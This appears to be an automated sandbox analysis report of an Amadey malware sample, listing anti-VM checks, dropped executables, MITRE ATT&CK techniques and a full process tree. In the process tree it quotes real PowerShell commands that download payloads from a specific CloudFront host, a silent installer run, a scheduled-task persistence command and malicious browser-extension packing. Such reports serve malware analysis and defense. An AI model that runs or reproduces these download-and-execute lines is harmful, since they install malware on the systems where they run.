amadey | fd111caa11ffcab2bd343bd5936359ed2e46041717793eca872b24aabbc5ab31

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplons.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplons.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	fd111caa11ffcab2bd343bd5936359ed2e46041717793eca872b24aabbc5ab31.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplons.exe

Blocklisted process makes network request 5 IoCs

flow	pid	Process
24	2148	powershell.exe
25	4616	powershell.exe
26	4616	powershell.exe
28	2192	powershell.exe
29	2192	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplons.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplons.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplons.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	fd111caa11ffcab2bd343bd5936359ed2e46041717793eca872b24aabbc5ab31.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	fd111caa11ffcab2bd343bd5936359ed2e46041717793eca872b24aabbc5ab31.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplons.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplons.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplons.exe

Executes dropped EXE 11 IoCs

pid	Process
4560	axplons.exe
4992	Newoff.exe
1412	toolspub1.exe
836	lumma1234.exe
232	vpn-1002.exe
4872	i0.exe
764	i0.tmp
4808	axplons.exe
3164	Newoff.exe
2564	Newoff.exe
2824	axplons.exe

Identifies Wine through registry keys 2 TTPs 4 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Wine	fd111caa11ffcab2bd343bd5936359ed2e46041717793eca872b24aabbc5ab31.exe
Key opened	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Wine	axplons.exe
Key opened	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Wine	axplons.exe
Key opened	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Wine	axplons.exe

Loads dropped DLL 1 IoCs

pid	Process
232	vpn-1002.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
30	checkip.amazonaws.com
4	checkip.amazonaws.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\shlwapi_p.dll	i0.tmp

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
2012	fd111caa11ffcab2bd343bd5936359ed2e46041717793eca872b24aabbc5ab31.exe
4560	axplons.exe
4808	axplons.exe
2824	axplons.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 836 set thread context of 2384	836	lumma1234.exe	91

Drops file in Program Files directory 14 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\Application\chrome.exe.manifest	i0.tmp
File created	C:\Program Files (x86)\Microsoft\Edge\Application\dlls\dlls.manifest	i0.tmp
File created	C:\Program Files\Online Security\unins000.dat	i0.tmp
File created	C:\Program Files\Google\Chrome\Application\Extensions\security.crx	i0.tmp
File created	C:\Program Files (x86)\Microsoft\Edge\Application\dlls\Shlwapi.dll	i0.tmp
File created	C:\Program Files (x86)\Microsoft\Edge\Application\Extensions\security.crx	i0.tmp
File opened for modification	C:\Program Files\Online Security\unins000.dat	i0.tmp
File created	C:\Program Files\Google\Chrome\Application\dlls\dlls.manifest	i0.tmp
File created	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe.manifest	i0.tmp
File created	C:\Program Files (x86)\Microsoft\Edge\Application\Extensions\updates.xml	i0.tmp
File opened for modification	C:\Program Files\Google\Chrome\Application\dlls\dlls.manifest	i0.tmp
File created	C:\Program Files\Google\Chrome\Application\dlls\Shlwapi.dll	i0.tmp
File created	C:\Program Files\Google\Chrome\Application\Extensions\updates.xml	i0.tmp
File created	C:\Program Files\Online Security\is-UG4QN.tmp	i0.tmp

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\axplons.job	fd111caa11ffcab2bd343bd5936359ed2e46041717793eca872b24aabbc5ab31.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File created	C:\Windows\SystemTemp\scoped_dir2656_128953709\extension.zip	chrome.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2148	powershell.exe
4616	powershell.exe
2192	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5040	1412	WerFault.exe	85

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4732	schtasks.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
1268	taskkill.exe
1696	taskkill.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	31	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
2012	fd111caa11ffcab2bd343bd5936359ed2e46041717793eca872b24aabbc5ab31.exe
2012	fd111caa11ffcab2bd343bd5936359ed2e46041717793eca872b24aabbc5ab31.exe
4560	axplons.exe
4560	axplons.exe
2148	powershell.exe
2148	powershell.exe
4616	powershell.exe
4616	powershell.exe
2192	powershell.exe
2192	powershell.exe
4808	axplons.exe
4808	axplons.exe
2824	axplons.exe
2824	axplons.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2148	powershell.exe
Token: SeDebugPrivilege	4616	powershell.exe
Token: SeDebugPrivilege	2192	powershell.exe
Token: SeDebugPrivilege	1696	taskkill.exe
Token: SeDebugPrivilege	1268	taskkill.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
764	i0.tmp

Suspicious use of WriteProcessMemory 59 IoCs

description	pid	Process	procid_target
PID 2012 wrote to memory of 4560	2012	fd111caa11ffcab2bd343bd5936359ed2e46041717793eca872b24aabbc5ab31.exe	80
PID 2012 wrote to memory of 4560	2012	fd111caa11ffcab2bd343bd5936359ed2e46041717793eca872b24aabbc5ab31.exe	80
PID 2012 wrote to memory of 4560	2012	fd111caa11ffcab2bd343bd5936359ed2e46041717793eca872b24aabbc5ab31.exe	80
PID 4560 wrote to memory of 4992	4560	axplons.exe	82
PID 4560 wrote to memory of 4992	4560	axplons.exe	82
PID 4560 wrote to memory of 4992	4560	axplons.exe	82
PID 4992 wrote to memory of 4732	4992	Newoff.exe	83
PID 4992 wrote to memory of 4732	4992	Newoff.exe	83
PID 4992 wrote to memory of 4732	4992	Newoff.exe	83
PID 4992 wrote to memory of 1412	4992	Newoff.exe	85
PID 4992 wrote to memory of 1412	4992	Newoff.exe	85
PID 4992 wrote to memory of 1412	4992	Newoff.exe	85
PID 4560 wrote to memory of 836	4560	axplons.exe	89
PID 4560 wrote to memory of 836	4560	axplons.exe	89
PID 4560 wrote to memory of 836	4560	axplons.exe	89
PID 836 wrote to memory of 2384	836	lumma1234.exe	91
PID 836 wrote to memory of 2384	836	lumma1234.exe	91
PID 836 wrote to memory of 2384	836	lumma1234.exe	91
PID 836 wrote to memory of 2384	836	lumma1234.exe	91
PID 836 wrote to memory of 2384	836	lumma1234.exe	91
PID 836 wrote to memory of 2384	836	lumma1234.exe	91
PID 836 wrote to memory of 2384	836	lumma1234.exe	91
PID 836 wrote to memory of 2384	836	lumma1234.exe	91
PID 836 wrote to memory of 2384	836	lumma1234.exe	91
PID 4992 wrote to memory of 232	4992	Newoff.exe	92
PID 4992 wrote to memory of 232	4992	Newoff.exe	92
PID 4992 wrote to memory of 232	4992	Newoff.exe	92
PID 232 wrote to memory of 1924	232	vpn-1002.exe	93
PID 232 wrote to memory of 1924	232	vpn-1002.exe	93
PID 232 wrote to memory of 1924	232	vpn-1002.exe	93
PID 1924 wrote to memory of 2148	1924	cmd.exe	95
PID 1924 wrote to memory of 2148	1924	cmd.exe	95
PID 1924 wrote to memory of 2148	1924	cmd.exe	95
PID 1924 wrote to memory of 4616	1924	cmd.exe	96
PID 1924 wrote to memory of 4616	1924	cmd.exe	96
PID 1924 wrote to memory of 4616	1924	cmd.exe	96
PID 1924 wrote to memory of 4872	1924	cmd.exe	97
PID 1924 wrote to memory of 4872	1924	cmd.exe	97
PID 1924 wrote to memory of 4872	1924	cmd.exe	97
PID 1924 wrote to memory of 2192	1924	cmd.exe	98
PID 1924 wrote to memory of 2192	1924	cmd.exe	98
PID 1924 wrote to memory of 2192	1924	cmd.exe	98
PID 4872 wrote to memory of 764	4872	i0.exe	99
PID 4872 wrote to memory of 764	4872	i0.exe	99
PID 4872 wrote to memory of 764	4872	i0.exe	99
PID 764 wrote to memory of 4080	764	i0.tmp	100
PID 764 wrote to memory of 4080	764	i0.tmp	100
PID 4080 wrote to memory of 2656	4080	cmd.exe	102
PID 4080 wrote to memory of 2656	4080	cmd.exe	102
PID 2656 wrote to memory of 2168	2656	chrome.exe	103
PID 2656 wrote to memory of 2168	2656	chrome.exe	103
PID 764 wrote to memory of 1876	764	i0.tmp	104
PID 764 wrote to memory of 1876	764	i0.tmp	104
PID 764 wrote to memory of 3376	764	i0.tmp	106
PID 764 wrote to memory of 3376	764	i0.tmp	106
PID 764 wrote to memory of 1696	764	i0.tmp	108
PID 764 wrote to memory of 1696	764	i0.tmp	108
PID 764 wrote to memory of 1268	764	i0.tmp	111
PID 764 wrote to memory of 1268	764	i0.tmp	111

C:\Users\Admin\AppData\Local\Temp\fd111caa11ffcab2bd343bd5936359ed2e46041717793eca872b24aabbc5ab31.exe
"C:\Users\Admin\AppData\Local\Temp\fd111caa11ffcab2bd343bd5936359ed2e46041717793eca872b24aabbc5ab31.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2012
- C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
  "C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4560
- - C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
    "C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4992
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Newoff.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe" /F
      4⤵
      Creates scheduled task(s)
      PID:4732
  - - C:\Users\Admin\AppData\Local\Temp\1000270001\toolspub1.exe
      "C:\Users\Admin\AppData\Local\Temp\1000270001\toolspub1.exe"
      4⤵
      Executes dropped EXE
      Checks SCSI registry key(s)
      PID:1412
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1412 -s 384
        5⤵
        Program crash
        
        PID:5040
  - - C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe
      "C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:232
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nst5035.tmp\abc.bat"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1924
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/th.php?a=2836&c=1002','stat')"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2148
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=458&c=1002','i0.exe')"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4616
      - C:\Users\Admin\AppData\Local\Temp\i0.exe
        
        i0.exe /verysilent /sub=1000
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4872
        
        C:\Users\Admin\AppData\Local\Temp\is-JLORN.tmp\i0.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-JLORN.tmp\i0.tmp" /SL5="$901AA,2859366,899584,C:\Users\Admin\AppData\Local\Temp\i0.exe" /verysilent /sub=1000
        7⤵
        Executes dropped EXE
        Drops file in System32 directory
        Drops file in Program Files directory
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:764
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-PR3FE.tmp\njktgx > "C:\Users\Admin\AppData\Local\Temp\is-PR3FE.tmp\~execwithresult.txt""
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4080
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-PR3FE.tmp\njktgx
        9⤵
        Drops file in Windows directory
        Suspicious use of WriteProcessMemory
        
        PID:2656
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.106 --initial-client-data=0x104,0x108,0x10c,0xdc,0x110,0x7ff86081cc40,0x7ff86081cc4c,0x7ff86081cc58
        10⤵
        
        PID:2168
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""openssl.exe" rsa -in .\njktgx.pem -pubout -outform DER > "C:\Users\Admin\AppData\Local\Temp\is-PR3FE.tmp\~execwithresult.txt""
        8⤵
        
        PID:1876
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" "C:\Windows\system32\cmd.exe" /S /C ""C:\Program Files\Google\Chrome\Application/chrome.exe" --pack-extension=C:\Users\Admin\AppData\Local\Temp\is-PR3FE.tmp\wetqzt > "C:\Users\Admin\AppData\Local\Temp\is-PR3FE.tmp\~execwithresult.txt""
        8⤵
        
        PID:3376
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /f /im "msedge.exe"
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1696
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        "taskkill.exe" /f /im "chrome.exe"
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1268
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=444&c=1002', 'i2.bat')"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2192
- - C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe
    "C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:836
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:2384

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 1412 -ip 1412
1⤵
PID:2572

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4808

C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
1⤵
- Executes dropped EXE
PID:3164

C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
1⤵
- Executes dropped EXE
PID:2564

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

Persistence

Scheduled Task/Job

Privilege Escalation

Scheduled Task/Job

Defense Evasion

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

T1082

Virtualization/Sandbox Evasion